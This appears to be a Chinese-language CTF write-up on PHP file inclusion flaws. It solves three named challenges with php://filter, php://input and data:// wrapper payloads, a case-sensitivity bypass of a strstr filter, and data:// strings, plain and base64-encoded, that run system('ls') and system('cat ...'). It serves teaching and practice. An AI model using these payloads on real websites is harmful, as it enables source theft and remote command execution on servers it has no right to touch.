文件包含漏洞
php://协议
php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
一、php://filter
当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行base64编码,阻止其不执行。从而导致任意文件读取。
http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=index.php
例题: [ACTF2020 新生赛]Include
仔细看url,发现有flag.php
判断此题为PHP伪协议题目
构建payload
?file=php://filter/read=convert.base64-encode/resource=flag.php
base64解码得
例题:[BSidesCF 2020]Had a bad day
php伪协议可以套一层协议,从而绕过,进行任意文件读取,直接读flag.php
?category=php://filter/read=convert.base64-encode/woofers/resource=flag
二、 php://input
可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
http://127.0.0.1/cmd.php?file=php://input
例题:Web_php_include
0x01源码
首先,拿到题目我们看到页面上显示如下php代码
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
方法1:这里题目用了strstr()函数,这个函数是区分大小写的,所以这里我们直接大小写绕过strstr()即可
查看源代码:
方法2:date://伪协议执行命令
使用方法:data://text/plain;base64,xxxx(base64编码后的数据)
data://text/plain,<?php system("ls")?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=
data://text/plain,<?php system("cat fl4gisisish3r3.php")?>
data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==
0x02总结:
1.造成文件包含漏洞的函数通常有:
include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readline
2.data协议
用法:
data://text/plain,xxxx(要执行的php代码)
data://text/plain;base64,xxxx(base64编码后的数据)
3.php://协议
php://input,用于执行php代码,需要post请求提交数据。